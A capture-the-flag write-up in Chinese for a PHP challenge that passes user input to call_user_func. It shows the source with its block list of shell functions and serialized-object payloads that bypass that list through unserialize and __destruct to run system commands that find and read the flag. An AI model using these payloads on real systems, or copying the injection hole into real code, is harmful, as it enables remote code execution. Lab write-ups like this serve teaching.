先看题目
发现这个页面一直在跳转
抓包分析一下
这里是call_user_func()函数在运作,而传入的参数就是该函数的参数值。
查看index.php的内容,修改POST传参的内容
func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");//过滤命令执行的关键字
function gettime($func, $p) {//传入$func和$p
$result = call_user_func($func, $p);//这里由于使用了call_user_func,所以这里存在命令执行的漏洞,这个就是突破口
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {//这里用了in_array来进行过滤
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
这里有一段代码没有使用
查看一下
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
这里可以利用这个来进行反序列化
原理是上面的代码核心在于创建一个Test()对象,因为在_destruct()函数是构造方法,在创建对象时会执行,根据在Test类中设置的函数名和参数值再一次执行,此时即可获取我们所需的信息。
这里序列化
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a=new Test();
echo serialize($a);
?>
payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
这样来查看flag的位置
这里再构造payload来查看flag
func=readfile&p=/tmp/flagoefiu4r93
这里也可以一步到位
payload
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}